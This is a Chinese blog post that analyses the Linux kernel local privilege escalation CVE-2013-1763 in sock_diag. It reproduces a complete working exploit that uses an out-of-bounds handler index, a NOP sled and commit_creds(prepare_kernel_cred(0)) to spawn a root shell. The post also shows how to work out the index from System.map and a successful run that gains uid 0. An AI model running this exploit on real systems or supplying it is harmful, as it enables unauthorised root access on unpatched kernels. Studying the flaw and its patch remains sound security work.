linux kernel 本地提权漏洞CVE-2013-1763 exploit 代码分析

kernel 最近出了一个新的本地提权安全漏洞CVE-2013-1763，影响范围比较广泛，ubuntu，Arch，fedora都受到其影响，漏洞刚公布就有牛人发布了利用该漏洞获取root权限的攻击代码，下面会分析该代码是如何获取root权限的。

首先对CVE-2013-1763这个安全漏洞简单介绍一下。

1. 漏洞描述

在net/core/sock_diag.c中，__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查，导致可能越界，进而导致可执行代码的漏洞。没有root权限的用户可以利用该漏洞获取到root权限。

2. 漏洞的影响范围

linux kernel 3.0-3.7.10

3. 漏洞曝光时间

2013/02/19

4. 漏洞产生的原因

首先看一下这个漏洞的patch：

net/core/sock_diag.c View file @ 6e601a5 
@@ -121,6 +121,9 @@ static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) 
   if (nlmsg_len(nlh) < sizeof(*req)) 
     return -EINVAL; 
   
+  if (req->sdiag_family >= AF_MAX) 
+    return -EINVAL; 
+ 
   hndl = sock_diag_lock_handler(req->sdiag_family); 
   if (hndl == NULL) 
     err = -ENOENT;

Patch 很简单，只是加上了数组边界判断而已。那么在看看sock_diag_lock_hander这个函数做了些什么：

static const inline struct sock_diag_handler *sock_diag_lock_handler(int family) 
{ 
        if (sock_diag_handlers[family] == NULL) 
                request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK, 
                                NETLINK_SOCK_DIAG, family); 
  
        mutex_lock(&sock_diag_table_mutex); 
        return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界. }

这个函数也没有做什么，只是对 sock_diag_lock_hander[family]进行检测，是否为NULL，如果为NULL申请注册，然后加上了一把锁，最后返回的是它的地址。

static struct sock_diag_handler *sock_diag_handlers[AF_MAX];  //可以看出,这个指针数组最大为AF_MAX AF_MAX = 40.

接着我们再看看完整的__sock_diag_rcv_msg函数。

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) 
{ 
    int err; 
    struct sock_diag_req *req = NLMSG_DATA(nlh); 
    struct sock_diag_handler *hndl; 
  
    if (nlmsg_len(nlh) < sizeof(*req)) 
        return -EINVAL; 
  
    hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回数组指针sock_diag_handlers[reg->sdiag_family].由于没有做边界判断，那么就可以越界。     if (hndl == NULL) 
        err = -ENOENT; 
    else
        err = hndl->dump(skb, nlh); //看到这里是不是很激动呢，利用这里可以让它执行我们自己的代码     sock_diag_unlock_handler(hndl); 
    return err; 
}

5. 漏洞的利用

虽然已经找到了kernel中有这样一个漏洞，但是如何利用这个漏洞来执行我们自己的程序，取得root权限还是需要很困难的，需要对kernel系统以及计算机运行原理非常了解才可以，并且这些程序往往需要精细设计才能达到最终的目的。下面是某牛人写的exploit代码，请欣赏：

/*  
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8 
* bug found by Spender 
* poc by SynQ 
*  
* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux 
* using nl_table->hash.rehash_time, index 81 
*  
* Fedora 18 support added 
*  
* 2/2013 
*/
 #include <unistd.h> 
#include <sys/socket.h> 
#include <linux/netlink.h> 
#include <netinet/tcp.h> 
#include <errno.h> 
#include <linux/if.h> 
#include <linux/filter.h> 
#include <string.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <linux/sock_diag.h> 
#include <linux/inet_diag.h> 
#include <linux/unix_diag.h> 
#include <sys/mman.h> typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 
_commit_creds commit_creds; 
_prepare_kernel_cred prepare_kernel_cred; 
unsigned long sock_diag_handlers, nl_table; 
 int __attribute__((regparm(3)))    //这是指示GCC编译器选用3个寄存器代替堆栈来传递参数。 kernel_code() 
{ 
  commit_creds(prepare_kernel_cred(0));  //这行代码执行之后就可以获取root权限，但是这两个函数都是内核函数，必须在内核态执行才有效。   return -1; 
} 
 //这段函数没有使用，用来解释hard code jump[] 为什么是那些数值 
int jump_payload_not_used(void *skb, void *nlh) 
{ 
  asm volatile ( 
    "mov $kernel_code, %eax\n"
    "call *%eax\n"
  ); 
} 
  
unsigned long
get_symbol(char *name)  //为了获取内核函数地址 { 
  FILE *f; 
  unsigned long addr; 
  char dummy, sym[512]; 
  int ret = 0; 
   
  f = fopen("/proc/kallsyms", "r"); 
  if (!f) { 
    return 0; 
  } 
   
  while (ret != EOF) { 
    ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym); 
    if (ret == 0) { 
      fscanf(f, "%s\n", sym); 
      continue; 
    } 
    if (!strcmp(name, sym)) { 
      printf("[+] resolved symbol %s to %p\n", name, (void *) addr); 
      fclose(f); 
      return addr; 
    } 
  } 
  fclose(f); 
   
  return 0; 
} 
 int main(int argc, char*argv[]) 
{ 
  int fd; 
  unsigned family; 
  struct { 
    struct nlmsghdr nlh;  //socket协议netlink数据包的格式     struct unix_diag_req r; 
  } req; 
  char  buf[8192]; 
  
    //创建一个netlink协议的socket，因为__sock_diag_rcv_msg函数是属于NETLINK_SOCK_DIAG的   if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){ 
    printf("Can't create sock diag socket\n"); 
    return -1; 
  } 
  
    //填充数据包，就是为了最终能够执行到__sock_diag_rcv_msg中去   memset(&req, 0, sizeof(req)); 
  req.nlh.nlmsg_len = sizeof(req); 
  req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY; 
  req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST; 
  req.nlh.nlmsg_seq = 123456; 
  
  //req.r.sdiag_family = 89;   req.r.udiag_states = -1; 
  req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; 
  
  if(argc==1){ 
    printf("Run: %s Fedora|Ubuntu\n",argv[0]); 
    return 0; 
  } 
  else if(strcmp(argv[1],"Fedora")==0){ 
    commit_creds = (_commit_creds) get_symbol("commit_creds"); 
    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred"); 
    sock_diag_handlers = get_symbol("sock_diag_handlers"); 
    nl_table = get_symbol("nl_table"); 
      
    if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){ 
    printf("some symbols are not available!\n"); 
    exit(1); 
    } 
  
    family = (nl_table - sock_diag_handlers) / 4; 
    printf("family=%d\n",family); 
    req.r.sdiag_family = family; 
      
    if(family>255){ 
    printf("nl_table is too far!\n"); 
    exit(1); 
    } 
  } 
  else if(strcmp(argv[1],"Ubuntu")==0){ 
    commit_creds = (_commit_creds) 0xc106bc60; 
    prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0; 
    req.r.sdiag_family = 81; 
  } 
  
  unsigned long mmap_start, mmap_size; 
  mmap_start = 0x10000;  //选择了一块1MB多的内存区域   mmap_size = 0x120000;   
  printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size); 
  
        if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC, 
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { 
                printf("mmap fault\n"); 
                exit(1); 
        } 
  memset((void*)mmap_start, 0x90, mmap_size);         //将其全部填充为0x90，在X86系统中对应的是NOP指令 
  char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm   unsigned long *asd = &jump[4]; 
  *asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11 
    //将jump这段代码放在mmap内存区域的最后，也就是说只要最后能够跳转到这块区域，就可以执行到jump代码，进而跳转执行kernel_code，因为这块区域中布满了NOP指令。   memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump)); 
  
    //所有准备工作完成之后，最后在这里发送socket触发这个漏洞   if ( send(fd, &req, sizeof(req), 0) < 0) { 
    printf("bad send\n"); 
    close(fd); 
    return -1; 
  } 
  
  printf("uid=%d, euid=%d\n",getuid(), geteuid() ); 
  
  if(!getuid()) 
    system("/bin/sh"); 
}

6. exploit代码分析

在分析之前，有些概念要澄清一下，在linux系统中，用户空间和内核空间是独立存在的。在一个32位的linux系统中，每个进程会虚拟出4G的内存空间，其中3G是用户空间，1G是内核空间，用户空间的地址范围是0×00000000 到 0xBFFFFFFF，内核空间的地址是0xC0000000 到 0xFFFFFFFF。内核地址空间由所有进程共享，但只有运行在内核态的进程才能访问，用户进程可以通过系统调用切换到内核态访问内核空间，进程运行在内核态时所产生的地址都属于内核空间。

commit_creds 和prepare_kernel_cred 均为内核函数，如果要执行他们就应该切换到内核状态运行。当执行内核函数__sock_diag_rcv_msg是处于内核态的，所以这个时候调用执行kernel_code函数就可以取得root权限。

那么如何调用kernel_code函数呢？所有我们mmap了一块从0x10000开始0x120000大小的内存空间，然后将这块空间写满NOP指令，将跳转执行kernel_code的代码放在这块区域的最后面，也就是说，只要跳转执行到这块内存区域的（除了jump代码块内部）都会顺利跑到kernel_code函数。这种方法叫做NOP slide，就像坐滑滑梯一样，自然滑到底部。jump这一段代码的分析如下：

char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm   unsigned long *asd = &jump[4]; 
  *asd = (unsigned long)kernel_code; 
 int jump_payload_not_used(void *skb, void *nlh) 
{ 
  asm volatile ( 
    "mov $kernel_code, %eax\n"
    "call *%eax\n"
  ); 
} 
  
fengguoqing@VirtualBox:~/Downloads$ gcc CVE-2013-1763.c 
CVE-2013-1763.c: In function ‘main’: 
CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default] 
fengguoqing@VirtualBox:~/Downloads$ objdump -D a.out 
…. 
08048763 <jump_payload_not_used>: 
 8048763:  55                     push   %ebp 
 8048764:  89 e5                  mov    %esp,%ebp 
 8048766:  b8 3c 87 04 08         mov    $0x804873c,%eax 
 804876b:  ff d0                  call   *%eax 
 804876d:  5d                     pop    %ebp 
 804876e:  c3                     ret    
…. 
  
(gdb) p/x jump 
$2 = {0x55, 0x89, 0xe5, 0xb8, 0x3c, 0x87, 0x4, 0x8, 0xff, 0xd0, 0x5d, 0xc3, 0x0} //最后发现0x11被填充成了kernel_code的地址 (gdb) p kernel_code 
$4 = {int ()} 0x804873c <kernel_code>

问题的关键变成了如何才能跳转到这一块内存区域呢？先看看下面这结构体的定义：

struct nlmsghdr { 
      __u32       nlmsg_len;  /* Length of message including header */
      __u16       nlmsg_type; /* Message content */
      __u16       nlmsg_flags;    /* Additional flags */
      __u32       nlmsg_seq;  /* Sequence number */
      __u32       nlmsg_pid;  /* Sending process port ID */
  }; 
  
  struct unix_diag_req { 
      __u8    sdiag_family; 
      __u8    sdiag_protocol; 
      __u16   pad; 
      __u32   udiag_states; 
      __u32   udiag_ino; 
      __u32   udiag_show; 
      __u32   udiag_cookie[2]; 
  }; 
 struct sock_diag_handler { 
        __u8 family;//         int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh); 
}; 
  
 struct netlink_table { 
         struct nl_portid_hash   hash; //取回这个值          struct hlist_head       mc_list; 
         struct listeners __rcu  *listeners; 
         unsigned int            flags; 
         unsigned int            groups; 
         struct mutex            *cb_mutex; 
         struct module           *module; 
         void                    (*bind)(int group); 
         int                     registered; 
 }; 
  
 struct nl_portid_hash { 
         struct hlist_head       *table; 四个字节 
         unsigned long           rehash_time; //也是四个字节.0x00012b59//这个值在我们的那个范围内.  
         unsigned int            mask; 
         unsigned int            shift; 
   
         unsigned int            entries; 
         unsigned int            max_shift; 
   
         u32                     rnd; 
 }; 
 static struct netlink_table *nl_table;

我们的牛人发现了nl_table里面有一个变量rehash_time的值正好在0x10000-0x130000这个区域内，所以可以利用这个值来跳转，只需要将sock_diag_handlers[sdiag_family]-dump正好落在这个值上就可以了。如下图所示

所以我们需要先知道nl_table和sock_diag_handlers的地址，可以通过以下两种方式查看。

cat /proc/kallsyms sudo cat /boot/System.map-3.2.0-43-generic-pae

但是在ubuntu系统中前一种方法无法查看到变量函数的地址，所以只有使用第二种方法了，由于 nl_table和 sock_diag_handlers都是指针，所以他们的大小都是4个字节。于是就可以计算出 sdiag_family的取值了。

fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep nl_table 
c189b5c0 d nl_table_lock 
c189b5c4 d nl_table_wait 
c1a488e0 b nl_table_users 
c1a488e4 b nl_table 
fengguoqing@VirtualBox:~$ sudo cat /boot/System.map-3.5.0-17-generic |grep sock_diag_handlers 
c1a487a0 b sock_diag_handlers 
(0xc1a488e4 - 0xc1a487a0) / 4 = 81L

至此所有的谜题都解开了，然后就可以高高兴兴的黑自己一把了:

fengguoqing@VirtualBox:~/Downloads$ gcc -o CVE-2013-1763 CVE-2013-1763.c 
CVE-2013-1763.c: In function ‘main’: 
CVE-2013-1763.c:148:26: warning: initialization from incompatible pointer type [enabled by default] 
fengguoqing@VirtualBox:~/Downloads$ id
uid=1000(fengguoqing) gid=1000(fengguoqing) groups=1000(fengguoqing),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare) 
fengguoqing@VirtualBox:~/Downloads$ ./CVE-2013-1763 Ubuntu 
mmapping at 0x10000, size = 0x120000 
uid=0, euid=0 # id uid=0(root) gid=0(root) groups=0(root)

由于在sock_diag_lock_handler中有mutex_lock(&sock_diag_table_mutex)，但是我们在后面将程序引入到其他地方，并没有接着执行 mutex_unlock(&sock_diag_table_mutex)，所以按道理只能root成功一次，但是我在测试中发现有时候可以root多次，有时候root一次之后就不能再root了，需要重启才可以重新root。

posted @ 2014-07-24 10:39 persists 阅读(504) 评论(0) 编辑收藏举报

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